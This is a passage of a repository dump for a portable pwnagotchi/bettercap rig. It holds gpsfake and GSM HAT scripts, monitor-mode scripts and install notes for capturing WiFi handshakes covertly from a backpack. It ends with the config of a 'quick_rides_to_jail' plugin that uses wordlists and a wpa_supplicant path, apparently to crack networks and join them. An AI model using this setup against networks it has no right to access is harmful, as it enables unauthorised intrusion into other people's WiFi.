alive?\"\n        if not self.process:\n            return False\n        self.returncode = self.process.poll()\n        if self.returncode is None:\n            return True\n        self.process = None\n        return False\n\n    def kill(self):\n        \"Kill the program instance.\"\n        while self.is_alive():\n            try:  # terminate() may fail if already killed\n                self.process.terminate()\n            except OSError:\n                continue\n            time.sleep(0.01)\n\n\nclass DaemonError(SubprogramError):\n    pass\n\n\nclass DaemonInstance(SubprogramInstance):\n    \"Control a gpsd instance.\"\n    ERROR = DaemonError\n\n    def __init__(self, control_socket=None):\n        super(DaemonInstance, self).__init__()\n        if control_socket:\n            self.control_socket = control_socket\n        else:\n            tmpdir = os.environ.get('TMPDIR', '/tmp')\n            self.control_socket = \"%s/gpsfake-%d.sock\" % (tmpdir, os.getpid())\n\n    def spawn(self, options, port, background=False, prefix=\"\"):\n        \"Spawn a daemon instance.\"\n        # The -b option to suppress hanging on probe returns is needed to cope\n        # with OpenBSD (and possibly other non-Linux systems) that don't\n        # support anything we can use to implement the FakeGPS.read() method\n        opts = (\" -b -N -S %s -F %s %s\"\n                % (port, self.control_socket, options))\n        # Derive a unique SHM key from the port # to avoid collisions.\n        # Use 'Gp' as the prefix to avoid colliding with 'GPSD'.\n        shmkey = '0x4770%.04X' % int(port)\n        env = {'GPSD_SHM_KEY': shmkey}\n        self.spawn_sub('gpsd', opts, background, prefix, env)\n\n    def wait_ready(self):\n        \"Wait for the daemon to create the control socket.\"\n        while self.is_alive():\n            if os.path.exists(self.control_socket):\n                return\n            time.sleep(0.1)\n\n    def __get_control_socket(self):\n        # Now we know it's running, get a connection to the control socket.\n        if not os.path.exists(self.control_socket):\n            return None\n        try:\n            self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM, 0)\n            self.sock.connect(self.control_socket)\n        except socket.error:\n            if self.sock:\n                self.sock.close()\n            self.sock = None\n        return self.sock\n\n    def add_device(self, path):\n        \"Add a device to the daemon's internal search list.\"\n        if self.__get_control_socket():\n            self.sock.sendall(polybytes(\"+%s\\r\\n\\x00\" % path))\n            self.sock.recv(12)\n            self.sock.close()\n\n    def remove_device(self, path):\n        \"Remove a device from the daemon's internal search list.\"\n        if self.__get_control_socket():\n            self.sock.sendall(polybytes(\"-%s\\r\\n\\x00\" % path))\n            self.sock.recv(12)\n            self.sock.close()\n\n\nclass TestSessionError(TestError):\n    # why does testSessionError() return pass? \"\n    pass\n\n\nclass TestSession(object):\n    \"Manage a session including a daemon with fake GPSes and clients.\"\n\n    def __init__(self, prefix=None, port=None, options=None, verbose=0,\n                 predump=False, udp=False, tcp=False, slow=False):\n        \"Initialize the test session by launching the daemon.\"\n        self.prefix = prefix\n        self.options = options\n        self.verbose = verbose\n        self.predump = predump\n        self.udp = udp\n        self.tcp = tcp\n        self.slow = slow\n        self.daemon = DaemonInstance()\n        self.fakegpslist = {}\n        self.client_id = 0\n        self.readers = 0\n        self.writers = 0\n        self.runqueue = []\n        self.index = 0\n        if port:\n            self.port = port\n        else:\n            self.port = freeport()\n        self.progress = lambda x: None\n        self.reporter = lambda x: None\n        self.default_predicate = None\n        self.fd_set = []\n        self.threadlock = None\n\n    def spawn(self):\n        for sig in (signal.SIGQUIT, signal.SIGINT, signal.SIGTERM):\n            signal.signal(sig, lambda unused, dummy: self.cleanup())\n        self.daemon.spawn(background=True, prefix=self.prefix, port=self.port,\n                          options=self.options)\n        self.daemon.wait_ready()\n\n    def set_predicate(self, pred):\n        \"Set a default go predicate for the session.\"\n        self.default_predicate = pred\n    \n    def gsm_gps_add(self, logfile, speed=19200, pred=None, oneshot=False):\n        \"Add a simulated GPS being fed by the specified logfile.\"\n        self.progress(\"gpsfake: gsm_gps_add(%s, %d)\\n\" % (logfile, speed))\n        if logfile not in self.fakegpslist:\n            testload = TestLoad(logfile, predump=self.predump, slow=self.slow,\n                                oneshot=oneshot)\n            if testload.sourcetype == \"UDP\" or self.udp:\n                newgps = FakeUDP(testload, ipaddr=\"127.0.0.1\",\n                                 port=freeport(socket.SOCK_DGRAM),\n                                 progress=self.progress)\n            elif testload.sourcetype == \"TCP\" or self.tcp:\n                # Let OS assign the port\n                newgps = FakeTCP(testload, host=\"127.0.0.1\", port=0,\n                                 progress=self.progress)\n            else:\n                newgps = FakeGSMPTY(testload, speed=speed,\n                                 progress=self.progress)\n            if pred:\n                newgps.go_predicate = pred\n            elif self.default_predicate:\n                newgps.go_predicate = self.default_predicate\n            self.fakegpslist[newgps.byname] = newgps\n            self.append(newgps)\n            newgps.exhausted = 0\n        self.daemon.add_device(newgps.byname)\n        return newgps.byname\n\n    def gps_add(self, logfile, speed=19200, pred=None, oneshot=False):\n        \"Add a simulated GPS being fed by the specified logfile.\"\n        self.progress(\"gpsfake: gps_add(%s, %d)\\n\" % (logfile, speed))\n        if logfile not in self.fakegpslist:\n            testload = TestLoad(logfile, predump=self.predump, slow=self.slow,\n                                oneshot=oneshot)\n            if testload.sourcetype == \"UDP\" or self.udp:\n                newgps = FakeUDP(testload, ipaddr=\"127.0.0.1\",\n                                 port=freeport(socket.SOCK_DGRAM),\n                                 progress=self.progress)\n            elif testload.sourcetype == \"TCP\" or self.tcp:\n                # Let OS assign the port\n                newgps = FakeTCP(testload, host=\"127.0.0.1\", port=0,\n                                 progress=self.progress)\n            else:\n                newgps = FakePTY(testload, speed=speed,\n                                 progress=self.progress)\n            if pred:\n                newgps.go_predicate = pred\n            elif self.default_predicate:\n                newgps.go_predicate = self.default_predicate\n            self.fakegpslist[newgps.byname] = newgps\n            self.append(newgps)\n            newgps.exhausted = 0\n        self.daemon.add_device(newgps.byname)\n        return newgps.byname\n\n    def gps_remove(self, name):\n        \"Remove a simulated GPS from the daemon's search list.\"\n        self.progress(\"gpsfake: gps_remove(%s)\\n\" % name)\n        self.fakegpslist[name].drain()\n        self.remove(self.fakegpslist[name])\n        self.daemon.remove_device(name)\n        del self.fakegpslist[name]\n\n    def client_add(self, commands):\n        \"Initiate a client session and force connection to a fake GPS.\"\n        self.progress(\"gpsfake: client_add()\\n\")\n        try:\n            newclient = gps.gps(port=self.port, verbose=self.verbose)\n        except socket.error:\n            if not self.daemon.is_alive():\n                raise TestSessionError(\"daemon died\")\n            raise\n        self.append(newclient)\n        newclient.id = self.client_id + 1\n        self.client_id += 1\n        self.progress(\"gpsfake: client %d has %s\\n\"\n                      % (self.client_id, newclient.device))\n        if commands:\n            self.initialize(newclient, commands)\n        return self.client_id\n\n    def client_remove(self, cid):\n        \"Terminate a client session.\"\n        self.progress(\"gpsfake: client_remove(%d)\\n\" % cid)\n        for obj in self.runqueue:\n            if isinstance(obj, gps.gps) and obj.id == cid:\n                self.remove(obj)\n                return True\n        return False\n\n    def wait(self, seconds):\n        \"Wait, doing nothing.\"\n        self.progress(\"gpsfake: wait(%d)\\n\" % seconds)\n        time.sleep(seconds)\n\n    def gather(self, seconds):\n        \"Wait, doing nothing but watching for sentences.\"\n        self.progress(\"gpsfake: gather(%d)\\n\" % seconds)\n        time.sleep(seconds)\n\n    def cleanup(self):\n        \"We're done, kill the daemon.\"\n        self.progress(\"gpsfake: cleanup()\\n\")\n        if self.daemon:\n            self.daemon.kill()\n            self.daemon = None\n\n    def run(self):\n        \"Run the tests.\"\n        try:\n            self.progress(\"gpsfake: test loop begins\\n\")\n            while self.daemon:\n                # We have to read anything that gpsd might have tried\n                # to send to the GPS here -- under OpenBSD the\n                # TIOCDRAIN will hang, otherwise.\n                for device in self.runqueue:\n                    if isinstance(device, FakeGPS):\n                        device.read()\n                had_output = False\n                chosen = self.choose()\n                if isinstance(chosen, FakeGPS):\n                    if ((chosen.exhausted\n                         and (time.time() - chosen.exhausted > TEST_TIMEOUT)\n                         and chosen.byname in self.fakegpslist)):\n                        sys.stderr.write(\n                            \"Test timed out: increase WRITE_PAD = %s\\n\"\n                            % GetDelay(self.slow))\n                        raise SystemExit(1)\n                    elif not chosen.go_predicate(chosen.index, chosen):\n                        if chosen.exhausted == 0:\n                            chosen.exhausted = time.time()\n                            self.progress(\"gpsfake: GPS %s ran out of input\\n\"\n                                          % chosen.byname)\n                    else:\n                        chosen.feed()\n                elif isinstance(chosen, gps.gps):\n                    if chosen.enqueued:\n                        chosen.send(chosen.enqueued)\n                        chosen.enqueued = \"\"\n                    while chosen.waiting():\n                        chosen.read()\n                        had_output = True\n                        if not chosen.valid & gps.PACKET_SET:\n                            continue\n                        self.reporter(chosen.bresponse)\n                        if ((chosen.data[\"class\"] == \"DEVICE\"\n                             and chosen.data[\"activated\"] == 0\n                             and chosen.data[\"path\"] in self.fakegpslist)):\n                            self.gps_remove(chosen.data[\"path\"])\n                            self.progress(\n                                \"gpsfake: GPS %s removed (notification)\\n\"\n                                % chosen.data[\"path\"])\n                else:\n                    raise TestSessionError(\"test object of unknown type\")\n                if not self.writers and not had_output:\n                    self.progress(\"gpsfake: no writers and no output\\n\")\n                    break\n            self.progress(\"gpsfake: test loop ends\\n\")\n        finally:\n            self.cleanup()\n\n    # All knowledge about locks and threading is below this line,\n    # except for the bare fact that self.threadlock is set to None\n    # in the class init method.\n\n    def append(self, obj):\n        \"Add a producer or consumer to the object list.\"\n        if self.threadlock:\n            self.threadlock.acquire()\n        self.runqueue.append(obj)\n        if isinstance(obj, FakeGPS):\n            self.writers += 1\n        elif isinstance(obj, gps.gps):\n            self.readers += 1\n        if self.threadlock:\n            self.threadlock.release()\n\n    def remove(self, obj):\n        \"Remove a producer or consumer from the object list.\"\n        if self.threadlock:\n            self.threadlock.acquire()\n        self.runqueue.remove(obj)\n        if isinstance(obj, FakeGPS):\n            self.writers -= 1\n        elif isinstance(obj, gps.gps):\n            self.readers -= 1\n        self.index = min(len(self.runqueue) - 1, self.index)\n        if self.threadlock:\n            self.threadlock.release()\n\n    def choose(self):\n        \"Atomically get the next object scheduled to do something.\"\n        if self.threadlock:\n            self.threadlock.acquire()\n        chosen = self.index\n        self.index += 1\n        self.index %= len(self.runqueue)\n        if self.threadlock:\n            self.threadlock.release()\n        return self.runqueue[chosen]\n\n    def initialize(self, client, commands):\n        \"Arrange for client to ship specified commands when it goes active.\"\n        client.enqueued = \"\"\n        if not self.threadlock:\n            client.send(commands)\n        else:\n            client.enqueued = commands\n\n    def start(self):\n        self.threadlock = threading.Lock()\n        threading.Thread(target=self.run)\n\n# End\n"
  },
  {
    "path": "gsmfake/gsmfake.py",
    "content": "#! /usr/bin/python\n#\n# gpsfake -- test harness for gpsd\n#\n# Simulates one or more GPSes, playing back logfiles.\n# Most of the logic for this now lives in gps.fake,\n# factored out so we can write other test programs with it.\n#\n# This file is Copyright (c) 2010 by the GPSD project\n# BSD terms apply: see the file COPYING in the distribution root for details.\n\n# This code runs compatibly under Python 2 and 3.x for x >= 2.\n# Preserve this property!\nfrom __future__ import absolute_import, print_function, division\n\nimport getopt\nimport os\nimport platform\nimport pty\nimport socket\nimport sys\nimport time\n\nimport gps\nimport gps.fake as gpsfake   # The \"as\" pacifies pychecker\n\ntry:\n    my_input = raw_input\nexcept NameError:\n    my_input = input\n\n# Get version of stdout for bytes data (NOP in Python 2)\nbytesout = gps.get_bytes_stream(sys.stdout)\n\n\nclass Baton(object):\n    \"Ship progress indications to stderr.\"\n    # By setting this > 1 we reduce the frequency of the twirl\n    # and speed up test runs.  Should be relatively prime to the\n    # nunber of baton states, otherwise it will cause beat artifacts\n    # in the twirling.\n    SPINNER_INTERVAL = 11\n\n    def __init__(self, prompt, endmsg=None):\n        self.stream = sys.stderr\n        self.stream.write(prompt + \"...\")\n        if os.isatty(self.stream.fileno()):\n            self.stream.write(\" \\b\")\n        self.stream.flush()\n        self.count = 0\n        self.endmsg = endmsg\n        self.time = time.time()\n        return\n\n    def twirl(self, ch=None):\n        if self.stream is None:\n            return\n        if os.isatty(self.stream.fileno()):\n            if ch:\n                self.stream.write(ch)\n                self.stream.flush()\n            elif self.count % Baton.SPINNER_INTERVAL == 0:\n                self.stream.write(\"-/|\\\\\"[self.count % 4])\n                self.stream.write(\"\\b\")\n                self.stream.flush()\n        self.count = self.count + 1\n        return\n\n    def end(self, msg=None):\n        if msg is None:\n            msg = self.endmsg\n        if self.stream:\n            self.stream.write(\"...(%2.2f sec) %s.\\n\"\n                              % (time.time() - self.time, msg))\n        return\n\n\ndef hexdump(s):\n    rep = \"\"\n    for c in s:\n        rep += \"%02x\" % ord(c)\n    return rep\n\n\ndef fakehook(linenumber, fakegps):\n    if len(fakegps.testload.sentences) == 0:\n        sys.stderr.write(\"fakegps: no sentences in test load.\\n\")\n        raise SystemExit(1)\n    if linenumber % len(fakegps.testload.sentences) == 0:\n        if singleshot and linenumber > 0:\n            return False\n        if progress:\n            baton.twirl('*\\b')\n        elif not singleshot:\n            if not quiet:\n                sys.stderr.write(\"gpsfake: log cycle of %s begins.\\n\"\n                                 % fakegps.testload.name)\n    time.sleep(cycle)\n    if linedump and fakegps.testload.legend:\n        ml = fakegps.testload.sentences[\n            linenumber % len(fakegps.testload.sentences)].strip()\n        if not fakegps.testload.textual:\n            ml = hexdump(ml)\n        announce = fakegps.testload.legend \\\n            % (linenumber % len(fakegps.testload.sentences) + 1) + ml\n        if promptme:\n            my_input(announce + \"? \")\n        else:\n            print(announce)\n    if progress:\n        baton.twirl()\n    return True\n\nif __name__ == '__main__':\n    try:\n        (options, arguments) = getopt.getopt(sys.argv[1:],\n                                             \"1bc:D:ghilm:no:pP:qr:s:StTuvx\")\n    except getopt.GetoptError as msg:\n        print(\"gpsfake: \" + str(msg))\n        raise SystemExit(1)\n\n    port = None\n    progress = False\n    cycle = 0.0\n    monitor = \"\"\n    speed = 4800\n    linedump = False\n    predump = False\n    pipe = False\n    singleshot = False\n    promptme = False\n    client_init = '?WATCH={\"json\":true,\"nmea\":true}'\n    doptions = \"\"\n    tcp = False\n    udp = False\n    verbose = 0\n    slow = False\n    quiet = False\n    for (switch, val) in options:\n        if switch == '-1':\n            singleshot = True\n        elif switch == '-b':\n            progress = True\n        elif switch == '-c':\n            cycle = float(val)\n        elif switch == '-D':\n            doptions += \" -D \" + val\n        elif switch == '-g':\n            monitor = \"xterm -e gdb -tui --args \"\n        elif switch == '-i':\n            linedump = promptme = True\n        elif switch == '-l':\n            linedump = True\n        elif switch == '-m':\n            monitor = val + \" \"\n        elif switch == '-n':\n            doptions += \" -n\"\n        elif switch == '-x':\n            predump = True\n        elif switch == '-o':\n            doptions = val\n        elif switch == '-p':\n            pipe = True\n        elif switch == '-P':\n            port = int(val)\n        elif switch == '-q':\n            quiet = True\n        elif switch == '-r':\n            client_init = val\n        elif switch == '-s':\n            speed = int(val)\n        elif switch == '-S':\n            slow = True\n        elif switch == '-t':\n            tcp = True\n        elif switch == '-T':\n            sys.stdout.write(\"sys %s platform %s: WRITE_PAD = %.5f\\n\"\n                             % (sys.platform, platform.platform(),\n                                gpsfake.GetDelay(slow)))\n            raise SystemExit(0)\n        elif switch == '-u':\n            udp = True\n        elif switch == '-v':\n            verbose += 1\n        elif switch == '-h':\n            sys.stderr.write(\"usage: gpsfake\"\n                             \" [-1] [-h] [-i] [-l] [-g] [-q] [-m monitor]\"\n                             \" [-D debug] [-n] [-o options] [-p]\\n\"\n                             \"\\t[-P port] [-r initcmd] [-t] [-T] [-v] [-x]\"\n                             \" [-s speed] [-S] [-c cycle] [-b] logfile...\\n\")\n            raise SystemExit(0)\n\n    try:\n        pty.openpty()\n    except (AttributeError, OSError):\n        sys.stderr.write(\"gpsfake: ptys not available, falling back to UDP.\\n\")\n        udp = True\n\n    if not arguments:\n        sys.stderr.write(\"gpsfake: requires at least one logfile argument.\\n\")\n        raise SystemExit(1)\n\n    if progress:\n        baton = Baton(\"Processing %s\" % \",\".join(arguments), \"done\")\n    elif not quiet:\n        sys.stderr.write(\"Processing %s\\n\" % \",\".join(arguments))\n\n    # Don't allocate a private port when cycling logs for client testing.\n    if port is None and not pipe:\n        port = int(gps.GPSD_PORT)\n\n    test = gpsfake.TestSession(prefix=monitor, port=port, options=doptions,\n                               tcp=tcp, udp=udp, verbose=verbose,\n                               predump=predump, slow=slow)\n\n    if pipe:\n        test.reporter = bytesout.write\n        if verbose:\n            progress = False\n            test.progress = sys.stderr.write\n    \n    # Create a special character file that acts like a GPS device, but is really a shitty GSM hat.    \n    special_file = test.gsm_gps_add(arguments[0], speed=speed, pred=fakehook, oneshot=singleshot)\n    \n    print(\"[+] Set bettercap gps.device value to: {}\".format(special_file))\n    test.run()\n\n# The following sets edit modes for GNU EMACS\n# Local Variables:\n# mode:python\n# End:\n"
  },
  {
    "path": "gsmfake/prime_gsm_hat.py",
    "content": "#!/usr/bin/python\nimport serial\nimport time\nimport RPi.GPIO as GPIO\n'''\nAssuming you're using the Waveshare Raspberry Pi GSM/GPRS/GNSS Bluetooth Hat for SIM868's I keep talking about:\n    https://amazon.com/Raspberry-Bluetooth-Expansion-Compatible-DataTransfer/dp/B076CPX4NN\n\nWhat it do, tho?\nThe setup_commands do the following, in order:\n    1. Deactivate any existing bearer context\n    2. Attach the GPRS services on the HAT module\n    3. Set the bearer content type to GPRS\n    4. Set the APN type to \"default,supl,mms\" (should work for most carriers, but google 'APN type' for your carrier, if not)\n    5. Activate the configured bearer context\nAnd then we're ready to fuck.\n\nThis script clearly doesn't do any sort of error, failure, or success checking, and I don't know\nif I can be bothered to write any. I'm not going to make claims about my knowledge of this subject\nmatter; all I'm going to say is that it's complicated, ultra-specific, and will not work for anything\nthat even slightly deviates from the mashup of SIM800 and SIM900 commands available on the SIM868.\nI haven't actually checked if this script works     XD \n\nReferences that may help:\nhttps://simcom.ee/documents/SIM800x/SIM800%20Series_GSM%20Location_Application%20Note_V1.01.pdf\nhttps://www.cooking-hacks.com/media/cooking/images/documentation/tutorial-sim-908/SIM908_AT_Command_Manual_V1.02.pdf\nhttps://simcom.ee/documents/SIM900/SIM900_GSM%20Location%20AT%20Command%20Manual_V1.00.pdf\nhttps://github.com/stanleyhuangyc/Freematics/issues/17\n\n'''\n\n# I'm too lazy to care, so you figure it out. Powers on if not powered on.\nif not raw_input(\"Is the GSM/GPRS/GNSS hat powered on? [y/n]: \").lower().strip()[:1] == \"y\": \n    GPIO.setmode(GPIO.BOARD)\n    GPIO.setup(7, GPIO.OUT)\n    GPIO.output(7, GPIO.LOW)\n    time.sleep(4)\n    GPIO.output(7, GPIO.HIGH)\n    GPIO.cleanup()\n\n# AT commands:\ndeactivate_bearer_command = 'AT+SAPBR=0,1'\nsetup_commands = [deactivate_bearer_command, 'AT+CGATT=1','AT+SAPBR=3,1,\"Contype\",\"GPRS\"','AT+SAPBR=3,1,\"APN\",\"default,supl,mms\"','AT+SAPBR=1,1']\n\ntry:\n    # Open location of the GSM hat serial IO.\n    serial_device = serial.Serial(\"/dev/ttyS0\",115200)\n\n    for setup_command in setup_commands:\n        print '[!] Running: '+setup_command\n        serial_device.write(setup_command+'\\r\\n')\n        time.sleep(.5)\n        serial_device.flushInput()\n    time.sleep(1)\n    print('[+] Probably successfully primed GSM/GPRS/GNSS hat.')\n\nexcept:\n    print('[-] Encountered exception while writing to serial device.')\n\nfinally:\n    # Aight, fine. A little help.\n    if serial_device != None:\n\tserial_device.close()\n\n"
  },
  {
    "path": "monstart",
    "content": "#!/bin/bash\ninterface=wlan1mon\necho \"Bring up monitor mode interface ${interface}\"\niw phy phy1 interface add ${interface} type monitor\nifconfig ${interface} up\nif [ $? -eq 0 ]; then\n\techo \"started monitor interface on ${interface}\"\nfi\n"
  },
  {
    "path": "monstop",
    "content": "#!/bin/bash\ninterface=wlan1mon\nifconfig ${interface} down\nsleep 1\niw dev ${interface} del\n"
  },
  {
    "path": "notes_on_pwnagotchi_on_other_pis_and_raspbian.txt",
    "content": "Physical Setup:\n  My current development setup is a Raspberry Pi 4 running a standard Raspbian installation with two USB devices: \n  an Alfa AWUS036NHA B/G/N wireless adapter and a GlobalSat BU-353-S4 GPS receiver. An optional GSM Pi HAT occasionally \n  makes an appearance. The Pi is attached to a RAVPower 26,800mAh portable charger (battery pack), which is attached to a\n  NorthPada 5v 3A micro-USB power supply charger. The power supply charger stays plugged into the input of the battery pack, \n  so I can quickly and descretly pull out the wall-wart and charge, without disrupting the operating state of the Pi. My \n  active Pi switches between existing in the nude and sitting in a SmartPi Touch case, with a 7\" touchscreen display, so I \n  can interact with it on the go. Keyboard and mouse also included. All of this garbage sits inside of a OGIO backpack, with\n  the stupid-long 14.75\" 9dBi Alfa antenna sticking out one of the deeper pockets. The GPS dongle is usually in one of the \n  higher pockets or occasionally wired through one of the headphone-jack/accessibility-port holes, to minimize any \n  interference. The Pi chills in a completely separate, insulated pocket, with absolutely no ventilation, and I'm surprised \n  my goodest boy hasn't desoldered itself yet. Doesn't matter - captured handshakes. Everything in all of the pockets is wired \n  together by cables that pass on the outside of the bag, through accessibility ports and zipper holes. I'm real tempted to \n  poke holes on the inside of the bag, and route everything on the inside, BUT THESE BAGS ARE TOO DAMN NICE TO RUIN!\n\nSoftware Setup:\n  Installed Raspbian lite, then manually installed the desktop environment so I could switch between the two, depending on what \n  I was doing that day. Installed a bunch of tools, configured the environment the way I like, etc.\n  \n  Let's talk about the Pwnagotchi installation/config instructions: https://pwnagotchi.ai/installation/\nFirst things first:\n  \"apt-get install golang git build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev gpsd gpsd-clients libatlas-base-dev libhdf5-dev libjasper-dev libqtgui4 libqt4-test python3-mpi4py python3-numpy tcpdump\"\n    \n### Next, install bettercap using the programming language no one asked for:\n  go get -u github.com/bettercap/bettercap\n  sudo bettercap -eval \"caplets.update; ui.update; quit\"\n\n### Edit /usr/local/share/bettercap/caplets/pwnagotchi-auto.cap : \n\n\"\"\"\nset wifi.interface wlan1mon\n\n# api listening on http://127.0.0.1:8081/ and ui to http://127.0.0.1\nset api.rest.address 127.0.0.1\nset api.rest.port 8081\nset http.server.address 127.0.0.1\nset http.server.port 80\nset http.server.path /usr/local/share/bettercap/ui\nset api.rest.username PwnagotchiUsername\nset api.rest.password PwnagotchiPassword\n\n# go!\napi.rest on\nhttp.server on\n\"\"\"\n\n### Edit /usr/local/share/bettercap/caplets/pwnagotchi-manual.cap :\n\"\"\"\n# enable interface monitor mode and define wifi interface to be mon0\nset wifi.interface wlan1mon\n\n# api listening on http://0.0.0.0:8081/ and ui to http://0.0.0.0\nset api.rest.address 0.0.0.0\nset api.rest.port 8081\nset http.server.address 0.0.0.0\nset http.server.port 80\nset http.server.path /usr/local/share/bettercap/ui\nset api.rest.username PwnagotchiUsername\nset api.rest.password PwnagotchiPassword\n\n# go!\napi.rest on\nhttp.server on\n\"\"\"\n\n### The actual pwnagotchi install instructions fuck up by telling you to edit /etc/systemd/system/bettercap.service, \n### but you actually want to edit one into 'lib': /lib/systemd/system/bettercap.service\n\"\"\"\n[Unit]\nDescription=bettercap api.rest service.\nDocumentation=https://bettercap.org\nWants=network.target\nAfter=pwngrid.service\nRequiredBy=pwnagotchi.service\n\n[Service]\nType=simple\nPermissionsStartOnly=true\nExecStart=/usr/bin/bettercap-launcher\nRestart=always\nRestartSec=30\n\n[Install]\nWantedBy=multi-user.target\n\"\"\"\n\n### And let's create our bettercap launcher /usr/bin/bettercap-launcher\n\"\"\"\n#!/usr/bin/env bash\n/usr/bin/monstart\nif [[ $(ifconfig | grep usb0 | grep RUNNING) ]] || [[ $(cat /sys/class/net/eth0/carrier) ]]; then\n  # if override file exists, go into auto mode\n  if [ -f /root/.pwnagotchi-auto ]; then\n    /usr/bin/bettercap -no-colors -caplet pwnagotchi-auto -iface wlan1mon\n  else\n    /usr/bin/bettercap -no-colors -caplet pwnagotchi-manual -iface wlan1mon\n  fi\nelse\n  /usr/bin/bettercap -no-colors -caplet pwnagotchi-auto -iface wlan1mon\nfi\n\"\"\"\n\n### And create /usr/bin/monstart\n\"\"\"\n#!/bin/bash\ninterface=wlan1mon\necho \"Bring up monitor mode interface ${interface}\"\niw phy phy1 interface add ${interface} type monitor\nifconfig ${interface} up\nif [ $? -eq 0 ]; then\n\techo \"started monitor interface on ${interface}\"\nfi\n\"\"\"\n\n### And create /usr/bin/monstop\n\"\"\"\n#!/bin/bash\ninterface=wlan1mon\nifconfig ${interface} down\nsleep 1\niw dev ${interface} del\n\"\"\"\n\n### Do the pwngrid stuffs:\nwget \"https://github.com/evilsocket/pwngrid/releases/download/v1.10.1/pwngrid_linux_amd64_v1.10.1.zip\"\nunzip pwngrid_linux_amd64_v1.10.1.zip\nsudo mv pwngrid /usr/bin/\nsudo pwngrid -generate -keys /etc/pwnagotchi\n\n### Again, we create service stubs in lib for /lib/systemd/system/pwngrid-peer.service\n\"\"\"\n[Unit]\nDescription=pwngrid peer service.\nDocumentation=https://pwnagotchi.ai\nWants=network.target\n\n[Service]\nType=simple\nPermissionsStartOnly=true\nExecStart=/usr/bin/pwngrid -keys /etc/pwnagotchi -address 127.0.0.1:8666 -client-token /root/.api-enrollment.json -wait -log /var/log/pwngrid-peer.log -iface wlan1mon\nRestart=always\nRestartSec=30\n\n[Install]\nWantedBy=multi-user.target\n\"\"\"\n\n### Do the pwnagotchi stuff:\nwget \"https://github.com/evilsocket/pwnagotchi/archive/v1.0.1.zip\"\nunzip v1.0.1.zip\ncd pwnagotchi-1.0.1\n\n### There's a great chance that executing the pwnagotchi pip3 install will fail due to lack of memory:\nsudo pip3 install .\n\n### If it do or you don't want to wait for failure, disable the pip cache:\nsudo pip3 --no-cache-dir install .\n\n### Things like tensorflow, opencv, and keras are fairly massive. \n### This pip install may also fail if run directly as root, instead of using sudo, though I'm not sure why\n### or if that was a real problem I had or if the problem is between the chair and the keyboard...\n\n### Let's create a service stub for pwnagotchi at /lib/systemd/system/pwnagotchi.service\n\"\"\"\n[Unit]\nDescription=pwnagotchi\nDocumentation=https://pwnagotchi.ai\nAfter=bettercap.service\n\n[Service]\nType=simple\nPermissionsStartOnly=true\nEnvironment=LD_PRELOAD=/usr/lib/arm-linux-gnueabihf/libatomic.so.1.2.0\nExecStart=/usr/local/bin/pwnagotchi\nRestart=always\nRestartSec=30\n\n[Install]\nWantedBy=multi-user.target\n\"\"\"\n\n### For some reason, I found it necessary to add the \"LD_PRELOAD=/usr/lib/arm-linux-gnueabihf/libatomic.so.1.2.0\" to keep things working with pwnagotchi. Don't know, don't care; fixed.\n\n### Permission everything as expected:\nchmod 755 /usr/bin/monstart\nchmod 755 /usr/bin/monstop\nchmod 755 /usr/bin/bettercap-launcher\nchmod 644 /lib/systemd/system/bettercap.service\nchmod 644 /lib/systemd/system/pwngrid-peer.service\nchmod 644 /lib/systemd/system/pwnagotchi.service\n\n### Copy the default config as the working config:\ncp /etc/pwnagotchi/default.yml /etc/pwnagotchi/config.yml\n\n### Edit the working config as you see fit, though some values should stay in /etc/pwnagotchi/config.yml:\n\"\"\"\n...\n# If using GPS:\n      gps:\n        enabled: true\n        speed: 4800 \n        device: /dev/ttyUSB0\n...\n# If using the auto-backup module, remove the scp line because what are the odds?:\n        commands:\n          - 'tar czf /tmp/backup.tar.gz {files}'\n          - 'mv /tmp/backup.tar.gz /tmp/pwnagotchi_backup-$(date +%s).tar.gz'\n\n# monitor interface to use is actually the interface that will become the monitor interface:\n    iface: wlan1\n...\n# Make sure these are these:\n    mon_start_cmd: /usr/bin/monstart\n    mon_stop_cmd: /usr/bin/monstop\n...\n# Turn off the display, unless you're using one, and set the local interface to view the face over network:\nui:\n    display:\n        enabled: false\n        video:\n            enabled: true\n            address: '0.0.0.0'\n            port: 8080\n...\n# bettercap conf:\nbettercap:\n    # api scheme://hostname:port username and password\n    scheme: http\n    hostname: localhost\n    port: 8081\n    username: PwnagotchiUsername\n    password: PwnagotchiPassword\n...\n\"\"\"\n\n### Enable the service stubs we created:\nsystemctl enable pwngrid-peer.service\nsystemctl enable bettercap.service\nsystemctl enable pwnagotchi.service\n\n### The order of the services starting (per how we configured them) is:\n# pwngrid-peer.service\n#         \\/\n# bettercap.service\n#         \\/\n# pwnagotchi.service\n\n### Now we can either start the services manually or reboot:\nsystemctl start pwngrid-peer.service\nsystemctl start bettercap.service\nsystemctl start pwnagotchi.service\n\n### Stop all pwnagotchi services:\nsystemctl stop pwngrid-peer.service\nsystemctl stop bettercap.service\nsystemctl stop pwnagotchi.service\n\n### Disable all pwnagotchi services from starting on reboot:\nsystemctl disable pwngrid-peer.service\nsystemctl disable bettercap.service\nsystemctl disable pwnagotchi.service\n\n### Check your usual log locations and /var/log/pwnagotchi.log for issues starting.\n### If you want to run them all manually, open up three root terminals and do:\n# Terminal 1\nmonstart\n/usr/bin/pwngrid -keys /etc/pwnagotchi -address 127.0.0.1:8666 -client-token /root/.api-enrollment.json -wait -log /var/log/pwngrid-peer.log -iface wlan1mon\n\n# Terminal 2\n/usr/bin/bettercap -no-colors -caplet pwnagotchi-auto -iface wlan1mon\n\n# Terminal 3\nLD_PRELOAD=/usr/lib/arm-linux-gnueabihf/libatomic.so.1.2.0 pwnagotchi\n"
  },
  {
    "path": "quick_rides_to_jail/config",
    "content": "# Place quick_rides_to_jail.py in pwnagotchi/plugins/default/ \n# Add the following to your config, substituting variables as you see fit:\nmain:\n    plugins:\n      quick_rides_to_jail:\n        enabled: true\n        wordlist_folder: /opt/wordlists/\n        net_device_path: /sys/class/net/\n        interface: wlan0\n        wpa_supplicant_conf_path: /etc/wpa_supplicant/wpa_supplicant.conf\n\n# Again, the interface needs to be a free network interface that's not in monitor mode.\n# Does not work if the quickdic plugin is enabled (since they do essentially the same things).\n"
  },
  {
    "path": "quick_rides_to_jail/quick_rides_to_jail.py",
